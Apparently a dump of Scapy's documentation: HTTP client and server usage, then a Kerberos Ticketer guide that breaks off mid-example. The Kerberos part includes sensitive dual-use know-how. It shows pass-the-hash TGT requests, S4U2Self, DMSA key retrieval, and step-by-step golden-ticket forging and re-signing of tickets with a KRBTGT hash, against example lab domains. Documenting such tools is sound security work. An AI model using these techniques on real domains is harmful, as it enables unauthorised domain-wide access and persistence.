    "content": "HTTP\n====\n\nScapy supports the sending / receiving of HTTP packets natively.\n\nHTTP 1.X\n--------\n\n.. note::\n    Support for HTTP 1.X was added in ``2.4.3``, whereas HTTP 2.X was already in ``2.4.0``.\n\nAbout HTTP 1.X\n______________\n\nHTTP 1.X is a *text protocol*. Those are pretty unusual nowadays (HTTP 2.X is binary), therefore its implementation is very different.\n\nFor transmission purposes, HTTP 1.X frames are split in various fragments during the connection, which may or not have been encoded.\nThis is explain over https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding\n\nTo summarize, the frames can be split in 3 different ways:\n\n- ``chunks``: split in fragments called chunks that are preceded by their length. The end of a frame is marked by an empty chunk\n- using ``Content-Length``: the header of the HTTP frame announces the total length of the frame\n- None of the above: the HTTP frame ends when the TCP stream ends / when a TCP push happens.\n\nMoreover, each frame may be additionally compressed, depending on the algorithm specified in the HTTP header:\n\n- ``compress``: compressed using *LZW*\n- ``deflate``: compressed using *ZLIB*\n- ``br``: compressed using *Brotli*\n- ``gzip``\n\nLet's have a look at what happens when you perform an HTTPRequest using Scapy's ``TCP_client`` (explained below):\n\n.. image:: ../graphics/http_tcp.png\n\nOnce the first SYN/ACK is done, the connection is established. Scapy will send the ``HTTPRequest()``, and the host will answer with HTTP fragments. Scapy will ACK each of those, and recompile them using ``TCPSession``, like Wireshark does when it displays the answer frame.\n\nHTTP 1.X in Scapy\n_________________\n\nLet's list the module's content::\n\n    >>> explore(scapy.layers.http)\n    Packets contained in scapy.layers.http:\n    Class       |Name\n    ------------|-------------\n    HTTP        |HTTP 1\n    HTTPRequest |HTTP Request\n    HTTPResponse|HTTP Response\n\nThere are two frames available: ``HTTPRequest`` and ``HTTPResponse``. The ``HTTP`` is only used during dissection, as a util to choose between the two.\nAll common header fields should be supported.\n\n- **Default HTTPRequest:**\n\n.. code:: python\n\n    >>> HTTPRequest().show()\n    ###[ HTTP Request ]###\n      Method= 'GET'\n      Path= '/'\n      Http_Version= 'HTTP/1.1'\n      A_IM= None\n      Accept= None\n      Accept_Charset= None\n      Accept_Datetime= None\n      Accept_Encoding= None\n      [...]\n\n- **Default HTTPResponse:**\n\n.. code:: python\n\n    >>> HTTPResponse().show()\n    ###[ HTTP Response ]###\n      Http_Version= 'HTTP/1.1'\n      Status_Code= '200'\n      Reason_Phrase= 'OK'\n      Accept_Patch43= None\n      Accept_Ranges= None\n      [...]\n\nUse Scapy to send/receive HTTP 1.X\n__________________________________\n\nScapy uses `Sessions classes <../usage.html#advanced-sniffing-sessions>`_ (more specifically the ``TCPSession`` class), in order to dissect and reconstruct HTTP packets.\nThis handles Content-Length, chunks and/or compression.\n\nHere are the main ways of using HTTP 1.X with Scapy:\n\n- :class:`~scapy.layers.http.HTTP_Client`: Automata that send HTTP requests. It supports the :func:`~scapy.layers.gssapi.SSP` mechanism to support authorization with NTLM, Kerberos, etc.\n- :class:`~scapy.layers.http.HTTP_Server`: Automata to handle incoming HTTP requests. Also supports :func:`~scapy.layers.gssapi.SSP`.\n- ``sniff(session=TCPSession, [...])``: Perform decompression / defragmentation on all TCP streams simultaneously, but only acts passively.\n- ``TCP_client.tcplink(HTTP, host, 80)``: Acts as a raw TCP client, handles SYN/ACK, and all TCP actions, but only creates one stream. It however supports some specific features, such as changing the source IP.\n\n**Examples:**\n\n- :class:`~scapy.layers.http.HTTP_Client`:\n\nLet's perform a very simple GET request to an HTTP server:\n\n.. code:: python\n\n    from scapy.layers.http import *  # or load_layer(\"http\")\n    client = HTTP_Client()\n    resp = client.request(\"http://127.0.0.1:8080\")\n    client.close()\n\nYou can use the following shorthand to do the same very basic feature: :func:`~scapy.layers.http.http_request`, usable as so:\n\n.. code:: python\n\n    load_layer(\"http\")\n    http_request(\"www.google.com\", \"/\")  # first argument is Host, second is Path\n\nLet's do the same request, but this time to a server that requires NTLM authentication:\n\n.. code:: python\n\n    from scapy.layers.http import *  # or load_layer(\"http\")\n    client = HTTP_Client(\n        HTTP_AUTH_MECHS.NTLM,\n        ssp=NTLMSSP(UPN=\"user\", PASSWORD=\"password\"),\n    )\n    resp = client.request(\"http://127.0.0.1:8080\")\n    client.close()\n\n- :class:`~scapy.layers.http.HTTP_Server`:\n\nStart an unauthenticated HTTP server automaton:\n\n.. code:: python\n\n    from scapy.layers.http import *\n    from scapy.layers.ntlm import *\n\n    class Custom_HTTP_Server(HTTP_Server):\n        def answer(self, pkt):\n            if pkt.Path == b\"/\":\n                return HTTPResponse() / (\n                    \"<!doctype html><html><body><h1>OK</h1></body></html>\"\n                )\n            else:\n                return HTTPResponse(\n                    Status_Code=b\"404\",\n                    Reason_Phrase=b\"Not Found\",\n                ) / (\n                    \"<!doctype html><html><body><h1>404 - Not Found</h1></body></html>\"\n                )\n\n    server = Custom_HTTP_Server.spawn(\n        port=8080,\n        iface=\"eth0\",\n    )\n\nWe could also have started the same server, but requiring **NTLM authorization using**:\n\n.. code:: python\n\n    server = HTTP_Server.spawn(\n        port=8080,\n        iface=\"eth0\",\n        mech=HTTP_AUTH_MECHS.NTLM,\n        ssp=NTLMSSP(IDENTITIES={\"user\": MD4le(\"password\")}),\n    )\n\nOr **basic auth**:\n\n.. code:: python\n\n    server = HTTP_Server.spawn(\n        port=8080,\n        iface=\"eth0\",\n        mech=HTTP_AUTH_MECHS.BASIC,\n        BASIC_IDENTITIES={\"user\": MD4le(\"password\")},\n    )\n\n- ``TCP_client.tcplink``:\n\nSend an HTTPRequest to ``www.secdev.org`` and write the result in a file:\n\n.. code:: python\n\n    load_layer(\"http\")\n    req = HTTP()/HTTPRequest(\n        Accept_Encoding=b'gzip, deflate',\n        Cache_Control=b'no-cache',\n        Connection=b'keep-alive',\n        Host=b'www.secdev.org',\n        Pragma=b'no-cache'\n    )\n    a = TCP_client.tcplink(HTTP, \"www.secdev.org\", 80)\n    answer = a.sr1(req)\n    a.close()\n    with open(\"www.secdev.org.html\", \"wb\") as file:\n        file.write(answer.load)\n\n``TCP_client.tcplink`` makes it feel like it only received one packet, but in reality it was recombined in ``TCPSession``.\nIf you performed a plain ``sniff()``, you would have seen those packets.\n\n- ``sniff()``:\n\nDissect a pcap which contains a JPEG image that was sent over HTTP using chunks. This is able to reconstruct all HTTP streams in parallel.\n\n.. note::\n\n    The ``http_chunk.pcap.gz`` file is available in ``scapy/test/pcaps``\n\n.. code:: python\n\n    load_layer(\"http\")\n    pkts = sniff(offline=\"http_chunk.pcap.gz\", session=TCPSession)\n    # a[29] is the HTTPResponse\n    with open(\"image.jpg\", \"wb\") as file:\n        file.write(pkts[29].load)\n\n\nHTTP 2.X\n--------\n\nThe HTTP 2 documentation is available as a Jupyter notebook over here: `HTTP 2 Tuto <https://github.com/secdev/scapy/blob/master/doc/notebooks/HTTP_2_Tuto.ipynb>`_\n"
  },
  {
    "path": "doc/scapy/layers/index.rst",
    "content": ".. Layer-specific documentation\n\nLayers\n======\n\n.. toctree::\n   :glob:\n   :titlesonly:\n   \n   *"
  },
  {
    "path": "doc/scapy/layers/kerberos.rst",
    "content": "Kerberos\n========\n\n.. note:: Kerberos per `RFC4120 <https://datatracker.ietf.org/doc/html/rfc6113.html>`_ + `RFC6113 <https://datatracker.ietf.org/doc/html/rfc6113.html>`_ (FAST) + `[MS-KILE] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9>`_ (Windows)\n\nScapy's Kerberos implementation is accessed through two main components:\n\n- :class:`~scapy.modules.ticketer.Ticketer`: a module that allows manipulating Kerberos tickets;\n- :class:`~scapy.layers.kerberos.KerberosSSP`: an implementation of a GSSAPI SSP for Kerberos, usable in any of Scapy's client that support GSSAPI, for both authentication and encryption.\n\nThe general idea is that the first one allows to request tickets and perform almost all Kerberos related operations (S4U2Self, S4U2Proxy, FAST armoring, U2U, DMSA, etc.). The latter is used once a final Service Ticket is obtained, by other parts of Scapy, for instance `SMB <smb.html>`_, `LDAP <ldap.html>`_ or `DCE/RPC <dcerpc.html>`_.\n\nTicketer module\n~~~~~~~~~~~~~~~\n\nThe :class:`~scapy.modules.ticketer.Ticketer` module can be used both from the CLI or programmatically to perform operations on Kerberos tickets. To use it, you must first create an instance of a :class:`~scapy.modules.ticketer.Ticketer`, which acts as both a **ccache** (holds tickets) and a **keytab** (holds secrets).\n\nThis section tries to give many usage examples, but isn't exhaustive. For more details regarding the parameters of each functions, it is encouraged to have a look at the docstrings of :class:`~scapy.layers.kerberos.KerberosClient`.\n\n- **Request TGT**: see the docstring of :func:`~scapy.layers.kerberos.krb_as_req`\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.request_tgt(\"Administrator@DOMAIN.LOCAL\")\n    Enter password: ************\n    >>> t.show()\n    Tickets:\n    0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    Start time         End time           Renew until        Auth time        \n    31/08/23 11:38:34  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34\n\n\n- **Then request a ST, using the TGT**: see the docstring of :func:`~scapy.layers.kerberos.krb_tgs_req`\n\n.. code:: pycon\n\n    >>> # The TGT we just got has an ID of 0\n    >>> t.request_st(0, \"host/dc1.domain.local\")\n    >>> t.show()\n    Tickets:\n    0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    Start time         End time           Renew until        Auth time\n    31/08/23 11:38:34  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34\n\n    1. Administrator@DOMAIN.LOCAL -> host/dc1.domain.local@DOMAIN.LOCAL\n    Start time         End time           Renew until        Auth time\n    31/08/23 11:39:07  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34\n\n\n- **Use ticket as SSP**: the :func:`~scapy.modules.ticketer.Ticketer.ssp` function.\n\n.. code:: pycon\n\n   >>> # We use ticket 1 from the above store.\n   >>> smbclient(\"dc1.domain.local\", ssp=t.ssp(1))\n\n- **Request a TGT using a hash**: see the docstring of :func:`~scapy.layers.kerberos.krb_as_req`\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import EncryptionType\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> # Using the HashNT\n    >>> t.request_tgt(\"Administrator@DOMAIN.LOCAL\", key=Key(EncryptionType.RC4_HMAC, bytes.fromhex(\"2b576acbe6bcfda7294d6bd18041b8fe\")))\n    >>> # Using the AES-256-SHA1-96 Kerberos Key\n   >>> t.request_tgt(\"Administrator@domain.local\", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex(\"63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d\")))\n\n- **Request a TGT using PKINIT**:\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import EncryptionType\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> # If P12:\n    >>> t.request_tgt(\"Administrator@DOMAIN.LOCAL\", p12=\"admin.pfx\", ca=\"ca.pem\")\n    >>> # One could also have used a different cert and key file:\n    >>> t.request_tgt(\"Administrator@DOMAIN.LOCAL\", x509=\"admin.cert\", x509key=\"admin.key\", ca=\"ca.pem\")\n\n- **Request a user TGT with Kerberos armoring (FAST)**\n\nThe ``armor_with`` keyword allows to select a ticket to armor the request with.\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.request_tgt(\"Machine01$@DOMAIN.LOCAL\", key=Key(EncryptionType.RC4_HMAC, bytes.fromhex(\"2b576acbe6bcfda7294d6bd18041b8fe\")))\n    >>> t.show()\n    Tickets:\n    0. Machine01$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    Start time         End time           Renew until        Auth time\n    31/08/23 11:38:34  31/08/23 21:38:34  31/08/23 21:38:35  31/08/23 01:38:34\n    >>> t.request_tgt(\"Administrator@domain.local\", armor_with=0)  # Armor with ticket n°0\n\n- **Renew a TGT or ST**:\n\n.. code::\n\n    >>> t.renew(0)  # renew TGT\n    >>> t.renew(1)  # renew ST. Works only with 'host/' SPNs\n    >>> t.renew(1, armor_with=0)  # renew something with armoring\n\n- **Import tickets from a ccache**:\n\n.. note:: We first added a realm ``DOMAIN.LOCAL`` with a kdc to ``/etc/krb5.conf``\n\n.. code:: pycon\n\n    $ kinit Administrator@DOMAIN.LOCAL\n    Password for Administrator@DOMAIN.LOCAL:\n    $ scapy\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.open_ccache(\"/tmp/krb5cc_1000\")\n    >>> t.show()\n    Tickets:\n    1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    Start time         End time           Renew until        Auth time\n    31/08/23 12:08:15  31/08/23 22:08:15  01/09/23 12:08:12  31/08/23 12:08:15\n\n- **Export tickets into a ccache**:\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.request_tgt(\"Administrator@domain.local\", password=\"ScapyScapy1\")\n    >>> t.save_ccache(\"/tmp/krb5cc_1000\")\n    >>> exit()\n    $ klist\n    Ticket cache: FILE:/tmp/krb5cc_1000\n    Default principal: Administrator@DOMAIN.LOCAL\n\n    Valid starting       Expires              Service principal\n    08/31/2023 12:08:15  08/31/2023 23:08:15  krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n            renew until 09/01/2023 12:08:12\n\n- **Perform S4U2Self**\n\n.. code:: pycon\n\n   >>> load_module(\"ticketer\")\n   >>> t = Ticketer()\n   >>> t.request_tgt(\"SERVER1$@domain.local\", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex(\"63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d\")))\n   >>> t.request_st(0, \"host/SERVER1\", for_user=\"Administrator@domain.local\")\n   >>> t.show()\n   CCache tickets:\n   0. SERVER1$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n      canonicalize+pre-authent+initial+renewable+forwardable\n   Start time         End time           Renew until        Auth time\n   15/04/25 20:15:17  16/04/25 06:10:22  16/04/25 06:10:22  15/04/25 20:15:17\n   \n   1. Administrator@domain.local -> host/SERVER1@DOMAIN.LOCAL\n      canonicalize+pre-authent+renewable+forwardable\n   Start time         End time           Renew until        Auth time\n   15/04/25 20:15:20  16/04/25 06:10:22  16/04/25 06:10:22  15/04/25 20:15:17\n\n- **Request a ticket for a DMSA**\n\nFor more information about DMSAs and how to create them, consult the `relevant Microsoft documentation <https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-set-up-dmsa>`_. In this example we allowed ``SERVER1$`` to retrieve the managed password of ``dmsa_user$``.\n\n.. code:: pycon\n\n   >>> load_module(\"ticketer\")\n   >>> t = Ticketer()\n   >>> t.request_tgt(\"SERVER1$@domain.local\", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex(\"63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d\")))\n   >>> t.request_st(0, \"krbtgt/domain.local\", for_user=\"dmsa_user$@domain.local\", dmsa=True)\n   INFO: 3 DMSA keys found and imported !\n   >>> t.show()\n   Keytab name: UNSAVED\n   Principal                Timestamp          KVNO  Keytype\n   dmsa_user$@domain.local  22/05/25 22:03:58  1     AES256-CTS-HMAC-SHA1-96\n   dmsa_user$@domain.local  22/05/25 22:03:58  2     AES128-CTS-HMAC-SHA1-96\n   dmsa_user$@domain.local  22/05/25 22:03:58  3     RC4-HMAC\n   \n   CCache tickets:\n   0. SERVER1$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n      canonicalize+pre-authent+initial+renewable+forwardable\n   Start time         End time           Renew until        Auth time\n   22/05/25 22:06:32  23/05/25 08:03:53  23/05/25 08:03:53  22/05/25 22:06:32\n   \n   1. dmsa_user$@domain.local -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n      canonicalize+pre-authent+renewable+forwardable\n   Start time         End time           Renew until        Auth time\n   22/05/25 22:06:37  23/05/25 08:03:53  23/05/25 08:03:53  22/05/25 22:06:32\n\nAs you can see, DMSA keys were imported in the keytab. You can use those as detailed in some of the following sections.\n\n- **Load and use keytab for client**\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.open_keytab(\"test.keytab\")\n    >>> t.show()\n    Keytab name: test.keytab\n    Principal                   Timestamp          KVNO  Keytype\n    Administrator@domain.local  14/04/25 21:47:59  0     AES128-CTS-HMAC-SHA1-96\n    Administrator@domain.local  14/04/25 21:47:59  0     AES256-CTS-HMAC-SHA1-96\n    Administrator@domain.local  14/04/25 21:47:59  0     RC4-HMAC\n    \n    No tickets in CCache.\n    >>> t.request_tgt(\"Administrator@domain.local\")\n\n- **Load and use keytab for server:**\n\n.. code:: pycon\n\n    >>> t.open_keytab(\"server1.keytab\")\n    >>> t.show()\n    Keytab name: server1.keytab\n    Principal                             Timestamp          KVNO  Keytype\n    host/Server1.domain.local@DOMAIN.LOCAL  01/01/70 01:00:00  10    RC4-HMAC\n    \n    No tickets in CCache.\n    >>> ssp = t.ssp(\"host/Server11.domain.local@DOMAIN.LOCAL\")\n    >>> # Example: start a SMB server\n    >>> smbserver(ssp=ssp)\n\n- **Create client keytab:**\n\n.. code:: pycon\n\n    >>> t = Ticketer()\n    >>> t.add_cred(\"Administrator@domain.local\", etypes=\"all\")\n    Enter password: ************\n    >>> t.show()\n    Keytab name: UNSAVED\n    Principal                   Timestamp          KVNO  Keytype\n    Administrator@domain.local  15/04/25 20:24:13  1     AES128-CTS-HMAC-SHA1-96\n    Administrator@domain.local  15/04/25 20:24:13  2     AES256-CTS-HMAC-SHA1-96\n    Administrator@domain.local  15/04/25 20:24:13  3     RC4-HMAC\n    \n    No tickets in CCache.\n\n- **Create server keytab:**\n\nThe following is equivalent to Windows' ``ktpass.exe /out kt.keytab /mapuser WKS02$@domain.local /princ host/WKS02.domain.local@domain.local /pass ScapyIsNice``.\n\n.. code:: pycon\n\n    >>> t = Ticketer()\n    >>> t.add_cred(\"host/WKS02.domain.local@domain.local\", etypes=\"all\", mapupn=\"WKS02$@domain.local\", password=\"ScapyIsNice\")\n    Enter password: ************\n    >>> t.show()\n    Keytab name: UNSAVED\n    Principal                              Timestamp          KVNO  Keytype\n    host/WKS02$.domain.local@domain.local  25/02/26 15:40:27  1     AES256-CTS-HMAC-SHA1-96\n\n    No tickets in CCache.\n    >>> t.save_keytab(\"kt.keytab\")\n\n- **Change password using kpasswd in 'set' mode:**\n\n.. code:: pycon\n\n    >>> t = Ticketer()\n    >>> t.request_tgt(\"Administrator@domain.local\")\n    Enter password: ************\n    >>> t.kpasswdset(0, \"SERVER1$@domain.local\")\n    INFO: Using 'Set Password' mode. This only works with admin privileges.\n    Enter NEW password: ***********\n\n- **Craft tickets**: We can start by showing how to craft a **golden ticket**:\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.create_ticket()\n    User [User]: Administrator\n    Domain [DOM.LOCAL]: DOMAIN.LOCAL\n    Domain SID [S-1-5-21-1-2-3]: S-1-5-21-4239584752-1119503303-314831486\n    Group IDs [513, 512, 520, 518, 519]: 512, 520, 513, 519, 518\n    User ID [500]: 500\n    Primary Group ID [513]:\n    Extra SIDs [] :S-1-18-1\n    Expires in (h) [10]:\n    What key should we use (AES128-CTS-HMAC-SHA1-96/AES256-CTS-HMAC-SHA1-96/RC4-HMAC) ? [AES256-CTS-HMAC-SHA1-96]:\n    Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce\n    >>> t.show()\n    Tickets:\n    0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    >>> t.save_ccache(fname=\"blob.ccache\")\n\n- **Edit tickets with the GUI**\n  \nLet's assume you've acquired the KRBTGT of a KDC, plus you've used ``kinit`` to get a ticket.\nThis ticket was saved to a ``.ccache`` file, that we'll know try to open.\n\n.. note::\n\n    You can get the demo ccache file using the following\n\n    .. code::\n\n        cat <<EOF | base64 -d > krb.ccache\n        BQQADAABAAj/////AAAAAAAAAAEAAAABAAAADERPTUFJTi5MT0NBTAAAAA1BZG1pbmlzdHJhdG9y\n        AAAAAQAAAAEAAAAMRE9NQUlOLkxPQ0FMAAAADUFkbWluaXN0cmF0b3IAAAACAAAAAgAAAAxET01B\n        SU4uTE9DQUwAAAAGa3JidGd0AAAADERPTUFJTi5MT0NBTAASAAAAIItCJqGQhmy+NFrl5miCPt1T\n        WcsAvUeaZCi8j+sbpVdSYzMy+mMzMvpjM7+aYzSEdwBQ4QAAAAAAAAAAAAAAAARIYYIERDCCBECg\n        AwIBBaEOGwxET01BSU4uTE9DQUyiITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDERPTUFJTi5MT0NBTKOC\n        BAQwggQAoAMCARKhAwIBAqKCA/IEggPuZiwq78yj+MeN444a8dY7GN4BHYZNm+wS88EeILC73Ebm\n        9cgxGzMbHMJ7Ixk+kPpHunqmpn+6WCah9HVOpQUO6rLgfQej7BApsqEeBYzjHkj03ivOAX6cKRXu\n        QP+g9xCVlwiChvopD+bKd3RlFixXV6Z8xTqOMgSEakypz/MMgHPR6ec1tesicX+Xd8Lzj7E9IElS\n        2xXk8WDiZTX1lvPOZPmo2WARcY0EBWUNf3xyj4fdLQ4iDkYQNH+qikUJm2OjUfWtz8z2adm2ES4x\n        iBr4aVYSlKIetuKxZLjObGx7AyfsbHHCN4SwbBkDCj+BEZ83fLbwOVtUd7/7xcGiJk7Er3b0s5pO\n        L3Aw1IyOu8ryEgNuoKWr3V2pH83D+5cA1TefA/vJ/jpHB42uMLBaQY9G7p6iX1IOt+Z7U9lvf0hu\n        WHiyLqj0IVE3p9z39Lb1BGNxXZ08VE8pRCDtD3QmlV+gpSfvzoYmT3wpvfws7iw+sifrS3ZR64AI\n        4OsmlEakVIgpawQn+CuVmtBwFGzYqa7Z7yNoFb0hSfP4bXMidYTylNyGz0p35O6r+Y9PNC2/xL60\n        bYNLDDED2MWWTK1IUu7TZcqOUJN+IZdhItXN4Yxatt1VKMOmgMCiGXEXZt1bajwQOuZa1fVzoxVD\n        oOvO/eF0kGKVEDD2OQfN4JIBDCLJB2MkjJ9s0DpvCny5p7dEG8feTEDB10k3Ov7ll6Usnb51M9e6\n        JKOibfKUdLk2Q+7Zf2uP/ROXaGmESEG902TyRU1uPOGuZ37AHFksJbUOEgMDJA3arILfqdY7HELC\n        ObeKbE67orZFi5JJMcUrIjucnP1s8PCD5iOeMHR/EwLei96U/odWteARj17WHczDhi3byT8QPDFg\n        rBWFjL4zBCDW4H4snyQsLK+PBNg/PNcfQEwdVoFMniqnh3Y6vClTNCmUh/RU5LTrXw58PPXjdzdK\n        z4J8n+JV4cfNsTEp7wfHMRZO5O7VA/c1gpqLfMLjcY2yPYWDj796Q4YaHI+JDkwzQ3tldJlGtG9s\n        /xdnFY9WhLA18uoIb3tWT2pXBQcUtMrVFltyvm96aCCy6fiTZQYUfmSnei+c+cE/5P1ZuDGRiYEB\n        BooAPm9/kYAGYWIE/0sYqb9JVJe6DfDfy7iaXmQ8YGN2ZzV/zx2XtCQkDqdfzw0muxWQVRB/gNG8\n        aCyQV/IqPvX7D1CtswupdbJQadOTv36yUi8jCRKsHmS7qTyRqnYKuxIJuxMT443d68rDJdJ775nW\n        YEXAl5m3ECCkT2S7tZxAVEkwT9lbjWvcbRfkdsuhiPMK0Eu2yR2RsCiwlTmGkpqftCsh9zAoyLof\n        QWxwYwAAAAAAAAABAAAAAQAAAAxET01BSU4uTE9DQUwAAAANQWRtaW5pc3RyYXRvcgAAAAAAAAAD\n        AAAADFgtQ0FDSEVDT05GOgAAABVrcmI1X2NjYWNoZV9jb25mX2RhdGEAAAAHcGFfdHlwZQAAACBr\n        cmJ0Z3QvRE9NQUlOLkxPQ0FMQERPTUFJTi5MT0NBTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAATIAAAAA\n        EOF\n\n.. code:: pycon\n\n    >>> load_module(\"ticketer\")\n    >>> t = Ticketer()\n    >>> t.open_ccache(\"krb.ccache\")\n    >>> t.show()\n    Tickets:\n    1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n    >>> t.edit_ticket(0)\n    Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce\n    >>> t.resign_ticket(0)\n    >>> t.save_ccache()\n    1660\n    >>> # Other stuff you can do\n    >>> tkt = t.dec_ticket(0)\n    >>> tkt\n    <EncTicketPart  flags=forwardable, proxiable, renewable, .........>\n    >>> t.update_ticket(0, tkt)\n\n.. figure:: ../graphics/kerberos/ticketer.png\n   :align: center\n\n\n.. note:: Remember to call ``resign_ticket`` to update the Server and KDC checksums in the PAC.\n\n\nCheat sheet\n-----------\n\n+---------------------------------------+--------------------------------+\n| Command                               | Description                    |\n+=======================================+================================+\n| ``load_module(\"ticketer\")``           | Load ticketer++                |\n+---------------------------------------+--------------------------------+\n| ``t = Ticketer()``                    | Create a Ticketer object       |\n+---------------------------------------+--------------------------------+\n| ``t.open_ccache(\"/tmp/krb5cc_1000\")`` | Open a ccache file             |\n+---------------------------------------+--------------------------------+\n| ``t.save_ccache()``                   | Save a ccache file             |\n+---------------------------------------+--------------------------------+\n| ``t.show()``                          | List the tickets               |\n+---------------------------------------+--------------------------------+\n| ``t.create_ticket()``                 | Forge a ticket                 |\n+---------------------------------------+--------------------------------+\n| ``dTkt = t.dec_ticket(<index>)``      | Decipher a ticket              |\n+---------------------------------------+--------------------------------+\n| ``t.update_ticket(<index>, dTkt)``    | Re-inject a deciphered ticket  |\n+---------------------------------------+--------------------------------+\n| ``t.edit_ticket(<index>)``            | Edit a ticket (GUI)            |\n+---------------------------------------+--------------------------------+\n| ``t.resign_ticket(<index>)``          | Resign a ticket                |\n+---------------------------------------+--------------------------------+\n| ``t.request_tgt(upn, [...])``         | Request a TGT                  |\n+---------------------------------------+--------------------------------+\n| ``t.request_st(i, spn, [...])``       | Request a ST using ticket i    |\n+---------------------------------------+--------------------------------+\n| ``t.renew(i, [...])``                 | Renew a TGT/ST                 |\n+---------------------------------------+--------------------------------+\n| ``t.remove_krb(i)``                   | Remove a TGT/ST                |\n+---------------------------------------+--------------------------------+\n| ``t.set_primary(i)``                  | Set the primary ticket         |\n+---------------------------------------+--------------------------------+\n\nOther useful commands\n---------------------\n\nTo change your own password, you can use the plain ``kpasswd`` command from ``scapy.layers.kerberos``.\n\n.. code:: pycon\n\n    >>> kpasswd(\"User1@domain.local\")\n    Enter password: **********\n    Enter NEW password: *********\n\nTo change the password of someone else, you can also the following. You need to have the rights to do so. You can also use the method from Scapy's Ticketer.\n\n.. code:: pycon\n\n    >>> kpasswd(\"Administrator@domain.local\", \"User1@domain.local\")\n    Enter password: **********\n    Enter NEW password: *********\n\nInner-workings\n~~~~~~~~~~~~~~\n\nBehind the scenes, Scapy includes a (tiny) kerberos client, that has basic functionalities such as:\n\nAS-REQ\n------\n\n.. note:: Full doc at :func:`~scapy.layers.kerberos.krb_as_req`. ``krb_as_req`` actually calls a Scapy automaton that has the following behavior:\n\n    .. image:: ../graphics/kerberos/kerberos_atmt.png\n        :align: center\n\n.. code:: pycon\n\n    >>> res = krb_as_req(\"user1@DOMAIN.LOCAL\", password=\"Password1\")\n\nThis is what it looks like with wireshark:\n\n.. image:: ../graphics/kerberos/wireshark_asreq.png\n   :align: center\n\nThe result is a named tuple with both the full AP-REP and the decrypted session key:\n\n.. code:: pycon\n\n    >>> res.asrep.show()\n    ###[ KRB_AS_REP ]### \n        pvno      = 0x5 <ASN1_INTEGER[5]>\n        msgType   = 'AS-REP' 0xb <ASN1_INTEGER[11]>\n        \\padata    \\\n        |###[ PADATA ]### \n        |  padataType= 'PA-ETYPE-INFO2' 0x13 <ASN1_INTEGER[19]>\n        |  \\padataValue\\\n        |   |###[ ETYPE_INFO2 ]### \n        |   |  \\seq       \\\n        |   |   |###[ ETYPE_INFO_ENTRY2 ]### \n        |   |   |  etype     = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |   |   |  salt      = <ASN1_GENERAL_STRING[b'DOMAIN.LOCALuser1']>\n        |   |   |  s2kparams = None\n        crealm    = <ASN1_GENERAL_STRING[b'DOMAIN.LOCAL']>\n        [...]\n    >>> res.sessionkey.toKey()\n    <Key 18 (32 octets)>\n\nSome more examples:\n\n**Enforce RC4:**\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import EncryptionType\n    >>> res = krb_as_req(\"user1@DOMAIN.LOCAL\", etypes=[EncryptionType.RC4_HMAC])\n\n**Ask for a DES_CBC_MD5 sessionkey:**\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import EncryptionType\n    >>> res = krb_as_req(\"user1@DOMAIN.LOCAL\", etypes=[EncryptionType.DES_CBC_MD5, EncryptionType.RC4_HMAC])\n\nTGS-REQ\n-------\n\n.. note:: Full doc at :func:`~scapy.layers.kerberos.krb_tgs_req`. ``krb_tgs_req`` actually calls a Scapy automaton.\n\n**Ask for a ST:**\n\nLet's reuse the TGT and session key we got in the AS-REQ:\n\n.. code:: pycon\n\n    >>> krb_tgs_req(\"user1@DOMAIN.LOCAL\", \"host/DC1\", 